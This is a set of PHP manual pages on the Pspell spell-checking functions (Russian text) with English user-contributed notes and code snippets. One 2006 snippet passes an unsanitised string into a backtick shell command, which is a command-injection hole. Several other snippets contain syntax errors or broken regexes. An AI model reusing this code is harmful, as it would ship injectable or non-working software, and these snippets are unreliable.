apt-get install libpspell-dev
dylan at wedefy dot com 18-Oct-2007 05:36
preg_replace_callback() is the best way I found to check words in a large text and change the HTML color of words that are not found.  Here is a script I wrote which does just that, and optionally uses pspell_suggest() to auto-correct. I would love to write a better regex to ignore <text inside xml tags>, but that really isn't as easy as it sounds...
<?php
$pspell = pspell_new('en','canadian','','utf-8',PSPELL_FAST);

function spellCheckWord($word) {
    global $pspell;
    $autocorrect = TRUE;

    // Take the string match from preg_replace_callback's array
    $word = $word[0];

    // Ignore ALL CAPS
    if (preg_match('/^[A-Z]*$/',$word)) return $word;

    // Return dictionary words
    if (pspell_check($pspell,$word))
        return $word;

    // Auto-correct with the first suggestion, color green
    if ($autocorrect && $suggestions = pspell_suggest($pspell,$word))
        return '<span style="color:#00FF00;">'.current($suggestions).'</span>';

    // No suggestions, color red
    return '<span style="color:#FF0000;">'.$word.'</span>';
}

function spellCheck($string) {
    return preg_replace_callback('/\b\w+\b/','spellCheckWord',$string);
}

echo spellCheck('PHP is a reflecktive proegramming langwage origenaly dezigned for prodewcing dinamic waieb pagges.');
?>
OUTPUT: PHP is a reflective programming language originally designed for producing dynamic Web pages.
fragment 11-Apr-2007 10:12
To get round the error on Windows where the word list can't be found inside functions, take the call to pspell_new() out of the function and pass the return value to your function, i.e.

<?
function testSpell($pspell_link) {
    echo pspell_check($pspell_link, "test") ? 'OK' : 'Not OK';
}
$pspell_link = pspell_new("en");
testSpell($pspell_link);
?>
Alan Dunsmuir<alan at moonrake dot demon dot co dot uk> 14-Mar-2007 01:28
There appears to be a problem currently affecting PSpell functionality on Windows machines.

Currently, the compiled build of PHP5 for Windows does not by default include PSpell, and to activate these functions the Windows user has to (a) install GNU ASpell; (b) copy the file aspell-15.dll to a directory in the Windows "Path" statement (typically C:\Windows\System32); (c) install one or more ASpell dictionaries; (d) enable the PSpell extension to PHP by adding a reference to php_pspell.dll in the php.ini file, and moving the file itself to the main PHP directory.

However, when this has all been done and PSpell appears to have been fully activated, there remains a problem. While all the PSpell functions work as specified when referenced from the "main" body of PHP code, if they are placed within a PHP function, the system reports that it is unable to find any word lists for the specified dictionary (whichever one is chosen).

I have a sample of PSpell-using code (taken from the SAMS book PHP 5 In Practice) which works perfectly on a Unix-based Web Server, but which fails with the indicated error message on a range of Windows machines.
sholland at napervillegi dot com 28-Oct-2006 11:48
Back in 10/2002 csnyder at chxo dot com wrote the first comment about the spell functions, and wrote a very sophisticated spell check with a direct call to aspell.  In a similar vein, I wrote a simplified a PHP function that will spell check a string and insert tags before and after the misspelled words. Auto-correction is not offered.

<?
function spellcheck($string) {
// Entry:    $string: Text to spellcheck.
// Returns: string with '<strong>' and '</strong>' inserted before and
//            after misspellings.

    $pre='<strong>'; // Inserted before each mis-spelling.
    $post='</strong>'; // Inserted after each mis-spelling.
    $string=strtr($string,"\n"," ");
        // Drop newlines in string. (It bothers aspell in this context.)
    $mistakes = `echo $string | /usr/local/bin/aspell list`;
        // Get list or errors.
    $offset=0;
    foreach (explode("\n",$mistakes) as $word)
        // Walk list, inserting $pre and $post strings.  I move along and
        // do the insertions, keeping track of the location.  A global replace
        // with str_replace($string,$pre.$work.$post) is problematic if the
        // same misspelling is found more than once.
        if ($word<>"") {
            $offset=strpos($string,$word,$offset);
            $string=substr_replace($string, $post, $offset+strlen($word), 0);
            $string=substr_replace($string, $pre, $offset, 0);
            $offset=$offset+strlen($word)+strlen("$pre $post");
            };
    return $string;};
?>

For this to work on your system, see if /usr/local/bin/aspell list runs from the shell.  It needs to get input from standard input.  You may not be able to run apell without the path for PHP because the PATH variable may be different in the PHP invocation from a shell invocation.
andrew at bluerhinos dot co dot uk 03-May-2006 03:28
If you use red hat or fedora, you may need to is use

  yum install pspell-devel

(fixes: configure: error: Cannot find pspell)
jeremy hepler 29-Mar-2006 12:01
compiling php with pspell on debian sarge:

apt-get install aspell libaspell15 libaspell-dev libpspell-dev

configure php:

./configure <your other options> --with-pspell=/usr

make & install

if previous tries have failed or it is not functioning properly, unpack the php source again and configure / compile in a fresh tree
Gregory Boshoff 13-May-2005 04:23
If you are receiving the error message:
PSPELL couldn't open the dictionary. reason:
No word lists can be found for the language "en".

Add following lines prior to calling pspell_check:
$pspell_config = pspell_config_create("en");
$pspell_link = pspell_new_config($pspell_config);
flint at modulusgroup dot com 29-Dec-2004 02:19
For those will problems installing on Win32 with IIS:

Symptom: browser just hangs when calling pspell function. Running PHP.exe from command line causes pspell to claim that there is a corrupt file. Running Aspell works just fine on the command line.

You need new data files:

You can download and get more information about it here:
http://wiki.wordpress.org/SpellCheck

Just replace the data directory in C:\Programs Files\Aspell\ with the new data directory you downloaded.

No more problems.
tidd 28-Sep-2004 10:31
In response to csnyder's comment about calling aspell instead of using the aspell or pspell libs:

If you are running a low traffic site this will work fine and it's a good idea.

If, however, you have many customers using your spell checking script, this method does not scale well and you should consider spending the time to make the libs work properly.
webmaster at script-tease dot net 11-Apr-2004 07:26
Easy way to make a spellchecker:

<?

function spellcheck ( $string ) {
    $words = preg_split('/[\W]+?/',$string);
    $misspelled = $return = array();
    $int = pspell_new('en');
    foreach ($words as $value) {
        if (!pspell_check($int, $value)) {
            $misspelled[] = $value;
        }
    }
    foreach ($misspelled as $value) {
        $return[$value] = pspell_suggest($int, $value);
    }
    return $return;
}

?>
jrweir _a_t_ yahoo 29-Mar-2004 11:15
I had the same problems after following the detailed instructions for installing on windows but was able to solve them by doing the following:

first, I copied all the files in the data directory of the aspell install (ie. C:\Program Files\Aspell\data) to a unix machine and ran dos2unix on all of the files and then copied them back.

second, added this line before the pspell_new("en") call
pspell_config_create("en");

hope this works for you too.
kevina at gnu dot org 12-Jan-2003 02:19
Aspell Author Here.

Since Aspell 0.50, Pspell is no longer used.  It is not necessary to download and install the Pspell package, only Aspell 0.50 (or better) is required.  Aspell now provided a backwards compatibility interface for programs expecting the old Pspell interface (such as PHP).

Even though Aspell now provided a new "Aspell" interface this, the PHP Pspell interface is the one you want to use.  The Aspell PHP interface is the one used with a *very* old version of Aspell as the manual says.

Sorry if this is confusing, but it is not really my fought as I have no control over PHP development.  Eventually a new Aspell interface should be provided for PHP which uses the new Aspell interface provided with Aspell 0.50 but for now the Pspell interface will work just fine.

Note: If you wish to use an older version of Aspell (_before_ 0.50) than both Aspell and Pspell are required.
csnyder at chxo dot com 11-Oct-2002 12:37
As an alternative to mucking about with the compiled-in aspell/pspell functions, which only check word by word, one could write a script that calls aspell as a shell exec to check a whole block of text:

http://chxo.com/scripts/spellcheck.php
(there is a view-source option)

Not sure about Linux or Windows, but installing aspell on FreeBSD was trivially easy from the ports collection. No doubt such a script could be easily modified to use ispell instead if you'd rather.


Добавляет слово в персональный список слов

  • « Функции Pspell
  • pspell_add_to_session »
  • PHP Manual
  • Функции Pspell
  • Добавляет слово в персональный список слов

pspell_add_to_personal

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_add_to_personal — Добавляет слово в персональный список слов

Описание

pspell_add_to_personal(PSpell\Dictionary $dictionary, string $word): bool

pspell_add_to_personal() добавляет слово в персональный список слов. Если вы использовали pspell_new_config() вместе с pspell_config_personal() для открытия словаря, вы можете сохранить список слов позднее с помощью pspell_save_wordlist().

Список параметров

dictionary

Экземпляр PSpell\Dictionary.

word

Добавляемое слово.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр dictionary теперь ожидает экземпляр PSpell\Dictionary; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pspell_add_to_personal()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/var/dictionaries/custom.pws");
$pspell = pspell_new_config($pspell_config);

pspell_add_to_personal($pspell, "Vlad");
pspell_save_wordlist($pspell);
?>

Примечания

Замечание:

Функция не будет работать, если у вас нет pspell .11.2 и aspell .32.5 или выше.

User Contributed Notes

There are no user contributed notes for this page.


Добавляет слово в список слов в текущей сессии

  • « pspell_add_to_personal
  • pspell_check »
  • PHP Manual
  • Функции Pspell
  • Добавляет слово в список слов в текущей сессии

pspell_add_to_session

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_add_to_session — Добавляет слово в список слов в текущей сессии

Описание

pspell_add_to_session(PSpell\Dictionary $dictionary, string $word): bool

pspell_add_to_session() добавляет слово в список слов, ассоциированный с текущей сессией. Эта функция очень похожа на функцию pspell_add_to_personal()

Список параметров

dictionary

Экземпляр PSpell\Dictionary.

word

Добавляемое слово.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр dictionary теперь ожидает экземпляр PSpell\Dictionary; ранее ожидался ресурс (resource).

User Contributed Notes

admin at codefisher dot org 12-Sep-2007 01:08
This function does not accept hyphenated words, which is kind of annoying.


Проверяет слово

  • « pspell_add_to_session
  • pspell_clear_session »
  • PHP Manual
  • Функции Pspell
  • Проверяет слово

pspell_check

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_check — Проверяет слово

Описание

pspell_check(PSpell\Dictionary $dictionary, string $word): bool

pspell_check() проверяет орфографию слова.

Список параметров

dictionary

Экземпляр PSpell\Dictionary.

word

Проверяемое слово.

Возвращаемые значения

Возвращает true, если орфография верна, в противном случае возвращает false.

Список изменений

Версия | Описание
8.1.0 | Параметр dictionary теперь ожидает экземпляр PSpell\Dictionary; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pspell_check()

<?php
$pspell = pspell_new("en");

if (pspell_check($pspell, "testt")) {
echo "Это верное написание";
} else {
echo "К сожалению, неправильное написание";
}
?>

User Contributed Notes

digit6 at gmail dot com 30-May-2017 07:36
A better pattern for splitting the words of a query up is:

preg_match_all('/[^\w\']/+/', $query, $word)
// $words has the words.
Jcart 05-Oct-2005 06:50
<?php

//should be using explode instead of implode
//$word = implode(" ", $message);
$word = explode(" ", $message);
foreach($word as $k => $v) {
   if (pspell_check($pspell_link, $v)) {
      echo "spelled right";
   } else {
      echo "Sorry, wrong spelling";
   };
};

?>
chris at candm dot org dot uk 12-May-2005 05:46
<?php
/*
I had to write these routines to highlight spellings in a WYSIWYG editor.
pspell() barfed at HTML tags and entities, so this code deals with them.
ClearSpell() allows you to clear up the spellchecker mark up afterwards.*/
?>
<html>
<head>
<style>
acronym.spell
{
text-decoration:underline;
color:red;
cursor:help;
}
</style>
</head>
<body>
<?php
    $t = "<font color=blue>text herre &amp; some more</font>";
    echo "Before:$t";
    $t = SpellCheck($t);
    echo "<hr>After SpellCheck: $t";
    $t = ClearSpell($t);
    echo "<hr>After ClearSpell: $t";
?>
</body>
</html>

<?php

function SpellCheck($text)
{
//depends on fnSpell()
// Extracts text from HTML code. In addition to normal word separators,  HTML tags
// and HTML entities also function as word delimiters

    $pspell_link = pspell_new("en"); //0. Get the dictionary
    $strings = explode(">", $text);  //1. Split $text on '>' to give us $strings with 0 or 1 HTML tags at the end
    $nStrings = count($strings);

    for ($cStrings=0; $cStrings < $nStrings; $cStrings++)
    {
        $string = $strings[$cStrings]; //2. For each string from 1

        if ($string =='')
            continue;

        $temp  = explode('<', $string); //2.1   Split $string from $strings on '>' to give us a $tag and $cdata
        $tag = $temp[1];
        $cdata = $temp[0];

        $subCdatas = explode(";", $cdata);  //2.2 Split &cdata on ';' to give $subcdatas with 0 or 1 HTML entities on the end
        $nSubCdatas = count($subCdatas);    //2.3   For each $subCdata from $subcdatas in 2.2

        for ($cSubCdatas = 0; $cSubCdatas < $nSubCdatas; $cSubCdatas++)
        {
            $subCdata = $subCdatas[$cSubCdatas];

            if ($subCdata == '')
                continue;

            $temp = explode('&', $subCdata); //2.3.1     Split the $subCdata on '&' to give us a $subCdataEntity and a $subCdataWithNoEntities
            $subCdataEntity = $temp[1];
            $subCdataWithNoEntities = $temp[0];
            $subCdataWithNoEntities = fnSpell($pspell_link, $subCdataWithNoEntities); //2.3.2     Spellcheck the $cdataWithNoEntities

            if (!$subCdataEntity ) //2.3.3        Put the $subCdataEntity, a '&' and the $cdataWithNoEntities back into the $subCdata from 2.2
                $subCdata = $subCdataWithNoEntities;
            else
                $subCdata = $subCdataWithNoEntities. '&' . $subCdataEntity . ';' ;

            $subCdatas[$cSubCdatas] = $subCdata; //2.3.4        Put the $subCdata back into the array of $subCdatas
        }

        $cdata = implode("", $subCdatas); //2.4    Implode the array of $subCdatas back into the $cdata

        if ($tag) //2.5    Put the $tag , '>' and $cdata back into $string
            $string = $cdata . '<' . $tag . '>';
        else
            $string = $cdata;

        $strings[$cStrings] = $string; //2.6    Put $string back in its place in $strings
    }

    $text = implode('', $strings);     //3  Implode the $strings back into $text
    return $text;

}

function fnSpell($pspell_link, $string)
{

   preg_match_all("/[A-Z\']{1,16}/i", $string, $words);

   for ($i = 0; $i < count($words[0]); $i++)
   {
        $currentword = $words[0][$i];

        if (!pspell_check($pspell_link, $currentword))
        {
            $wordarray = pspell_suggest($pspell_link, $currentword);
                $words = implode(', ', $wordarray);
                $suggest = "<acronym class='spell' title='$words'>$currentword</acronym class='spell'>";
            $string = str_replace($currentword, $suggest, $string);
        }

    }
    return $string;
}

function ClearSpell($text)
{
    $strings = explode(">", $text);
    $nStrings = count($strings);

    for ($cStrings=0; $cStrings < $nStrings; $cStrings++)
    {
        $string = $strings[$cStrings];

        if ($string =='')
            continue;

        $temp  = explode('<', $string);
        $tag = $temp[1];
        $cdata = $temp[0];

        if ( strstr($tag, 'acronym') && strstr($tag, "class='spell'") )
            $string = $cdata;
        else
            $string = $cdata . '<' . $tag . '>';

        $strings[$cStrings] = $string;
    }

    $text = implode('', $strings);
    return $text;
}
?>
si at youbeenx dot com 22-Mar-2005 05:32
I felt that it would help to expand on batch spell checking using this function. The previously posted example implodes using spaces as the separator for each word. There are however situations in which doing this will not return the desired result. For example, "Hello, I like coding." will return an array with two problems, "Hello," and "coding.", both these words are spelt correctly, but pspell_check() will deem them as spelled incorrectly because a comma or a period is being passed in to the function along with the word. The following example allows you to extract only the words (using regular expressions to ignore grammar such as periods or commas) in to an array and then add in html font tags to highlight all words spelled incorrectly red before returning the string.

<?

Function SpellCheck($string) {

    $pspell_link = pspell_new("en");
    preg_match_all("/[A-Z\']{1,16}/i", $string, $words);

    for ($i = 0; $i < count($words[0]); $i++) {

        if (!pspell_check($pspell_link, $words[0][$i])) {

            $string = str_replace($words[0][$i], "<font color=\"#FF0000\">" . $words[0][$i] . "</font>", $string);

        }

    }

    return $string;

}

?>


Очищает текущую сессию

  • « pspell_check
  • pspell_config_create »
  • PHP Manual
  • Функции Pspell
  • Очищает текущую сессию

pspell_clear_session

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_clear_session — Очищает текущую сессию

Описание

pspell_clear_session(PSpell\Dictionary $dictionary): bool

pspell_clear_session() очищает текущую сессию. Текущий список слов очищается, и, например, если попытаться сохранить его с помощью pspell_save_wordlist(), ничего не произойдёт.

Список параметров

dictionary

Экземпляр PSpell\Dictionary.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр dictionary теперь ожидает экземпляр PSpell\Dictionary; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pspell_add_to_personal()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/var/dictionaries/custom.pws");
$pspell = pspell_new_config($pspell_config);

pspell_add_to_personal($pspell, "Vlad");
pspell_clear_session($pspell);
pspell_save_wordlist($pspell); //Слово "Vlad" не будет сохранено
?>

User Contributed Notes

There are no user contributed notes for this page.


Создаёт конфигурацию, используемую для открытия словаря

  • « pspell_clear_session
  • pspell_config_data_dir »
  • PHP Manual
  • Функции Pspell
  • Создаёт конфигурацию, используемую для открытия словаря

pspell_config_create

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_config_create — Создаёт конфигурацию, используемую для открытия словаря

Описание

pspell_config_create(
string $language,
string $spelling = "",
string $jargon = "",
string $encoding = ""
): PSpell\Config

Создаёт конфигурацию, используемую для открытия словаря.

pspell_config_create() обладает синтаксисом, очень похожим
на синтаксис pspell_new(). Фактически, использование
pspell_config_create() сразу после
pspell_new_config() даст точно такой же результат.
Однако, после создания новой конфигурации, также можно использовать
функции pspell_config_*() до вызова
pspell_new_config() для получения преимуществ от некоторой
дополнительной функциональности.

Более подробную информацию и примеры можно найти в руководстве по pspell на сайте:» http://aspell.net/.

Список параметров

language

Параметр language - это код языка, который состоит из двухбуквенного кода языка по стандарту ISO 639 и необязательного двубуквенного кода страны по стандарту ISO 3166 после тире или подчёркивания.

spelling

Параметр spelling определяет вариант проверки орфографии для языков с более чем одним вариантом правописания, таких как английский. Известные значения: 'american', 'british', и 'canadian'.

jargon

Параметр jargon содержит дополнительную информацию для различения двух различных списков слов, имеющих одинаковые параметры language и spelling.

encoding

Параметр encoding - это кодировка, в которой, как ожидается, даны слова. Допустимые значения: 'utf-8', 'iso8859-*', 'koi8-r', 'viscii', 'cp1252', 'machine unsigned 16', 'machine unsigned 32'. Это параметр ещё не проверен достаточно хорошо, поэтому будьте осторожны при его использовании.

Возвращаемые значения

Возвращает экземпляр PSpell\Config.

Список изменений

Версия | Описание
8.1.0 | Возвращает экземпляр PSpell\Config; ранее возвращался ресурс (resource).

Примеры

Пример #1 Пример использования pspell_config_create()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/var/dictionaries/custom.pws");
pspell_config_repl($pspell_config, "/var/dictionaries/custom.repl");
$pspell = pspell_new_personal($pspell_config, "en");
?>

User Contributed Notes

mshort at mail dot com 02-Sep-2023 04:09
This might help if you are trying to use multiple custom dictionaries especially if you don't have sudo access to the system aspell dictionary directory ...
I created three custom dictionaries (or are they word lists) using "aspell create master" and found a way to use them ...
1) Create 3 word lists, one word per line, wordlistA.txt, wordlistB.txt, and wordlistC.txt.
2) Create 3 masters ... aspell --lang=en create master ./my_LANG-dictA.rws < wordlistA.txt - repeat for B and C (lang needs to be already installed, I think any lang will work).
3) Create 3 multi files, my_LANGA.multi, contents: add my_LANG-dictA.rws) - repeat for B and C. Where my_LANGA can be any name in the same case as explained in the aspell manual.
4) Use any one of them (A B or C) with pspell ...
<?php
$pspell_config = pspell_config_create('my_LANGC', '', ''. 'utf-8');
pspell_config_dict_dir($pspell_config, <location of my_LANGC.multi>);
if (($pspell = pspell_new_config($pspell_config)) == false) {
    echo 'pspell_new_config() for LANGC FAILED!');
} else {
    $word = 'PHPisgreat'];
    if (pspell_check($pspell, $word)) {
        echo "$word: Valid spelling";
    } else {
        $suggestions = pspell_suggest($pspell, $word);
        echo "$word: suggestions: $suggestions"
    }
}
?>

The language arg for pspell_config_create() is the basename of the .multi file.
Note that I do not have a file $HOME/.aspell.conf.
Note that my .multi and .rws files are in the same directory, which I think is necessary.
The wordlist files are not needed once the masters are created.


Расположение файлов с языковыми данными

  • « pspell_config_create
  • pspell_config_dict_dir »
  • PHP Manual
  • Функции Pspell
  • Расположение файлов с языковыми данными

pspell_config_data_dir

(PHP 5, PHP 7, PHP 8)

pspell_config_data_dir — Расположение файлов с языковыми данными

Описание

pspell_config_data_dir(PSpell\Config $config, string $directory): bool

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр config теперь ожидает экземпляр PSpell\Config; ранее ожидался ресурс (resource).

User Contributed Notes

alexxed at gmail dot com 15-Oct-2007 12:21
Here's an example of how to use pspell when you don't want or you can't use the dictionaries installed on the system.
<?
$text_to_check = 'I can sspeak English';
// optional. clean text a bit
$clean_text_to_check = preg_replace('/[^a-z0-9\-\.!;]+/i', ' ', $text_to_check);
// get a word list
$word_list = preg_split('/\s+/', $clean_text_to_check);

$pspell_config = pspell_config_create("en", null, null, 'utf-8');

// if the aspell dictionaries that you want are not installed,
// copy the aspell dictionaries and set the path to the dictionaries here
pspell_config_data_dir($pspell_config, "/home/alex/dictionaries/");
pspell_config_dict_dir($pspell_config, "/home/alex/dictionaries/");
$pspell_link = pspell_new_config($pspell_config);

foreach($word_list as $word) {

    if (!pspell_check($pspell_link, trim($word))) {
        $suggestions = pspell_suggest($pspell_link, trim($word));

        echo $word . ' misspelled <br />';
        foreach ($suggestions as $suggestion) {
            echo "\t Possible spelling: $suggestion <br />";
        }
    }
    else {
        // correct spelling
    }
}
?>


Расположение основного списка слов

  • « pspell_config_data_dir
  • pspell_config_ignore »
  • PHP Manual
  • Функции Pspell
  • Расположение основного списка слов

pspell_config_dict_dir

(PHP 5, PHP 7, PHP 8)

pspell_config_dict_dir — Расположение основного списка слов

Описание

pspell_config_dict_dir(PSpell\Config $config, string $directory): bool

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр config теперь ожидает экземпляр PSpell\Config; ранее ожидался ресурс (resource).

User Contributed Notes

There are no user contributed notes for this page.


Игнорирует слова длиной менее N символов

  • « pspell_config_dict_dir
  • pspell_config_mode »
  • PHP Manual
  • Функции Pspell
  • Игнорирует слова длиной менее N символов

pspell_config_ignore

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_config_ignore — Игнорирует слова длиной менее N символов

Описание

pspell_config_ignore(PSpell\Config $config, int $min_length): bool

pspell_config_ignore() должна быть использована для конфигурации до вызова pspell_new_config(). Эта функция позволяет пропускать короткие слова при проверке орфографии.

Список параметров

config

Экземпляр PSpell\Config.

min_length

Слова длиной менее min_length символов будут пропущены.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр config теперь ожидает экземпляр PSpell\Config; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pspell_config_ignore()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_ignore($pspell_config, 5);
$pspell = pspell_new_config($pspell_config);
pspell_check($pspell, "abcd"); //Сообщение об ошибке не будет сгенерировано
?>

User Contributed Notes

There are no user contributed notes for this page.


Изменяет режим количества возвращаемых вариантов исправления

  • « pspell_config_ignore
  • pspell_config_personal »
  • PHP Manual
  • Функции Pspell
  • Изменяет режим количества возвращаемых вариантов исправления

pspell_config_mode

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_config_mode — Изменяет режим количества возвращаемых вариантов исправления

Описание

pspell_config_mode(PSpell\Config $config, int $mode): bool

pspell_config_mode() должна быть использована для конфигурации до вызова pspell_new_config(). Эта функция определяет, сколько вариантов исправления будет возвращать функция pspell_suggest().

Список параметров

config

Экземпляр PSpell\Config.

mode

Параметр mode - это режим, в котором будет работать проверка орфографии. Доступно несколько режимов:

  • PSPELL_FAST - Быстрый режим (наименьшее число вариантов исправления)
  • PSPELL_NORMAL - Нормальный режим (больше вариантов исправления)
  • PSPELL_BAD_SPELLERS - Медленный режим (много вариантов исправления)

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр config теперь ожидает экземпляр PSpell\Config; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pspell_config_mode()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_mode($pspell_config, PSPELL_FAST);
$pspell = pspell_new_config($pspell_config);
pspell_check($pspell, "thecat");
?>

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает файл, содержащий персональный список слов

  • « pspell_config_mode
  • pspell_config_repl »
  • PHP Manual
  • Функции Pspell
  • Устанавливает файл, содержащий персональный список слов

pspell_config_personal

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_config_personal — Устанавливает файл, содержащий персональный список слов

Описание

pspell_config_personal(PSpell\Config $config, string $filename): bool

Устанавливает файл, содержащий персональный список слов. Персональный список слов будет загружен и использован в дополнение к стандартному после того, как вы вызовете pspell_new_config(). Это тот же самый файл, в который функция pspell_save_wordlist() сохранит персональный список слов.

pspell_config_personal() должна быть использована для конфигурации до вызова pspell_new_config().

Список параметров

config

Экземпляр PSpell\Config.

filename

Персональный список слов. Если файл не существует, он будет создан. Файл должен быть доступен для записи любому, кто запускает PHP (например, nobody).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр config теперь ожидает экземпляр PSpell\Config; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pspell_config_personal()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/var/dictionaries/custom.pws");
$pspell = pspell_new_config($pspell_config);
pspell_check($pspell, "thecat");
?>

Примечания

Замечание:

Функция не будет работать, если у вас нет pspell .11.2 и aspell .32.5 или выше.

User Contributed Notes

Anonymous 05-Feb-2009 07:49
There is no error if the file does not exists. So if you are debugging, check wheter the file really exists.


Устанавливает файл, содержащий замещающие пары

  • « pspell_config_personal
  • pspell_config_runtogether »
  • PHP Manual
  • Функции Pspell
  • Устанавливает файл, содержащий замещающие пары

pspell_config_repl

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_config_repl — Устанавливает файл, содержащий замещающие пары

Описание

pspell_config_repl(PSpell\Config $config, string $filename): bool

Устанавливает файл, содержащий замещающие пары.

Замещающие пары повышают качество проверки орфографии. Когда слово написано с ошибками, а правильный вариант не найден в списке, pspell_store_replacement() может быть использована для того, чтобы сохранить замещающую пару, а pspell_save_wordlist() - чтобы сохранить список слов вместе с замещающими парами.

pspell_config_repl() должна быть использована для конфигурации до вызова pspell_new_config().

Список параметров

config

Экземпляр PSpell\Config.

filename

Файл должен быть доступен для записи любому, кто запускает PHP (например, nobody).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр config теперь ожидает экземпляр PSpell\Config; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pspell_config_repl()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/var/dictionaries/custom.pws");
pspell_config_repl($pspell_config, "/var/dictionaries/custom.repl");
$pspell = pspell_new_config($pspell_config);
pspell_check($pspell, "thecat");
?>

Примечания

Замечание:

Функция не будет работать, если у вас нет pspell .11.2 и aspell .32.5 или выше.

User Contributed Notes

There are no user contributed notes for this page.


Рассматривает объединённые слова как правильные сложные слова

  • « pspell_config_repl
  • pspell_config_save_repl »
  • PHP Manual
  • Функции Pspell
  • Рассматривает объединённые слова как правильные сложные слова

pspell_config_runtogether

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_config_runtogether — Рассматривает объединённые слова как правильные сложные слова

Описание

pspell_config_runtogether(PSpell\Config $config, bool $allow): bool

Функция определяет, будут ли объединённые слова рассматриваться как правильные сложные слова. Так, "thecat" будет считаться правильным сложным словом, хотя между артиклем и словом должен быть пробел. Изменение этой установки влияет только на результаты, возвращаемые функцией pspell_check(); pspell_suggest() будет продолжать выдавать варианты исправления.

pspell_config_runtogether() должна быть использована для конфигурации до вызова pspell_new_config().

Список параметров

config

Экземпляр PSpell\Config.

allow

true, если объединённые слова должны рассматриваться как правильные сложные слова, false в противном случае.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр config теперь ожидает экземпляр PSpell\Config; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pspell_config_runtogether()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_runtogether($pspell_config, true);
$pspell = pspell_new_config($pspell_config);
pspell_check($pspell, "thecat");
?>

User Contributed Notes

There are no user contributed notes for this page.


Определяет, сохранять ли список замещающих пар вместе со списком слов

  • « pspell_config_runtogether
  • pspell_new_config »
  • PHP Manual
  • Функции Pspell
  • Определяет, сохранять ли список замещающих пар вместе со списком слов

pspell_config_save_repl

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_config_save_repl — Определяет, сохранять ли список замещающих пар вместе со списком слов

Описание

pspell_config_save_repl(PSpell\Config $config, bool $save): bool

pspell_config_save_repl() определяет, будет ли pspell_save_wordlist() сохранять замещающие пары вместе со списком слов. Обычно нет необходимости использовать эту функцию, поскольку, если используется pspell_config_repl(), замещающие пары будут сохранены pspell_save_wordlist() в любом случае, и, если она не используется, замещающие пары не будут сохраняться.

pspell_config_save_repl() должна быть использована для конфигурации до вызова pspell_new_config().

Список параметров

config

Экземпляр PSpell\Config.

save

true, если замещающие пары должны сохраняться, false в противном случае.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр config теперь ожидает экземпляр PSpell\Config; ранее ожидался ресурс (resource).

Примечания

Замечание:

Функция не будет работать, если у вас нет pspell .11.2 и aspell .32.5 или выше.

User Contributed Notes

There are no user contributed notes for this page.


Загружает новый словарь с установками на основе заданной конфигурации

  • « pspell_config_save_repl
  • pspell_new_personal »
  • PHP Manual
  • Функции Pspell
  • Загружает новый словарь с установками на основе заданной конфигурации

pspell_new_config

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_new_config — Загружает новый словарь с установками на основе заданной конфигурации

Описание

pspell_new_config(PSpell\Config $config): PSpell\Dictionary|false

pspell_new_config() открывает новый словарь с параметрами, заданными в config, созданной с помощью pspell_config_create() и модифицированной с помощью функций pspell_config_*(). Этот метод даёт наибольшую гибкость и имеет все функциональные возможности, предоставляемые pspell_new() и pspell_new_personal().

Список параметров

config

